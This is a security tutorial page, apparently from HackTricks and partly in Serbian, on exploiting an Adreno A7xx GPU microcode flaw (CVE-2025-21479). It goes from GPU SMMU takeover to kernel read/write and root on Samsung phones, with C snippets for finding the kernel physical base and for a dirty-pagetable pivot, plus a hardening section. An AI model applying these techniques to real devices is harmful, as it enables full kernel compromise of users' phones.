Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica apstrahuje u-divljini pronađenu logičku grešku u mikrokodu Adreno A7xx (CVE-2025-21479) u reproducibilne tehnike iskorišćavanja: zloupotreba IB-level maskiranja u Set Draw State (SDS) za izvršavanje privilegovanih GPU paketa iz neprivilegovanog procesa, pivotovanje ka GPU SMMU takeover i potom brzoj, stabilnoj kernel R/W putem dirty-pagetable trika.

  • Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
  • Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
  • Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
  • Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

Background: IB levels, SDS and the $12 mask

  • Kernel održava ringbuffer (RB=IB0). Userspace podnosi IB1 preko CP_INDIRECT_BUFFER, ulančavajući ka IB2/IB3.
  • SDS je poseban command stream u koji se ulazi preko CP_SET_DRAW_STATE:
  • A6xx: SDS se tretira kao IB3
  • A7xx: SDS je pomeren na IB4
  • Mikrokod prati trenutni IB nivo u registru $12 i dozvoljava privilegovane pakete samo kada efektivni nivo odgovara IB0 (kernel RB).
  • Bug: A7xx mikrokod je maskirao $12 sa 0x3 (2 bita) umesto sa 0x7 (3 bita). Pošto je IB4 & 0x3 == 0, SDS je pogrešno identifikovan kao IB0, omogućavajući privilegovane pakete iz korisnički kontrolisanog SDS.

Zašto je važno:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Primer diff-a mikrokoda (patch je promenio masku u 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Pregled eksploatacije

Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.

Glavni koraci

  • Napraviti lažnu GPU pagetable u deljenoj memoriji
  • Ući u SDS i izvršiti:
  • CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
  • CP_SET_DRAW_STATE with run-now flags (dispatch immediately)

GPU R/W primitiva putem lažne pagetable

  • Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
  • Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)

Napomene

  • Svaki Android proces dobija KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Prebacivanje konteksta obično ažurira SMMU tabele u RB; bag vam dozvoljava da to uradite u SDS.
  • Prekomerni GPU saobraćaj može izazvati UI blackouts i reboote; čitanja su mala (4/8B) i sync je po default-u spor.

Sastavljanje SDS komandne sekvence

  • Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
  • Construct an SDS buffer containing, in order:
  1. CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
  2. One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
  3. CP_SET_DRAW_STATE with flags to run-now

The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.

Pronalaženje Samsung kernel physbase pod physical KASLR

Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.

Representative loop

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Kada je physbase poznat, izračunajte kernel virtuelnu adresu pomoću linearne mape:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Stabilizovanje na brzo i pouzdano CPU-side kernel R/W (dirty pagetable)

GPU R/W je spor i ima sitnu granularnost. Pređite na brz/stabilan primitiv tako što ćete korumpirati svoje PTE-ove procesa (“dirty pagetable”):

Koraci

  • Pronađite current task_struct -> mm_struct -> mm_struct->pgd koristeći spore GPU R/W primitive
  • mmap dve susedne userspace stranice A i B (npr. na 0x1000)
  • Prođite PGD->PMD->PTE da biste odredili fizičke adrese A/B-ovih PTE-ova (pomoćni: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Prepišite B-ov PTE da pokazuje na last-level pagetable koji upravlja A/B sa RW atributima (phys_to_readwrite_pte)
  • Pišite putem B-ovog VA da biste mutirali A-ov PTE kako bi mapirao ciljne PFN-ove; čitajte/pišite kernel memoriju putem A-ovog VA, praznite TLB dok sentinel ne promeni stanje
Primer dirty-pagetable pivot snippet ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## Detekcija i ojačavanje

- Firmware/microcode: ispraviti sve lokacije koje maskiraju $12 da koriste 0x7 (A7xx) i revidirati privileged packet gates
- Driver: validirati efektivni IB nivo za privileged packets i primeniti per-context allowlists
- Telemetry: alarmiraj ako CP_SMMU_TABLE_UPDATE (ili slični privileged opcodes) pojavi van RB/IB0, posebno u SDS; pratiti anomalne nalete 4/8-bajtnih CP_MEM_TO_MEM i prekomerne obrasce TLB flush
- Kernel: ojačati pagetable metadata i detektovati obrasce korupcije user PTE

## Impact

Lokalna aplikacija sa pristupom GPU-u može izvršavati privileged GPU packets, preuzeti GPU SMMU, ostvariti proizvoljno kernel physical/virtual R/W, onemogućiti SELinux i dobiti root na pogođenim Snapdragon A7xx uređajima (npr. Samsung S23). Severity: High (kernel compromise).

## References

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>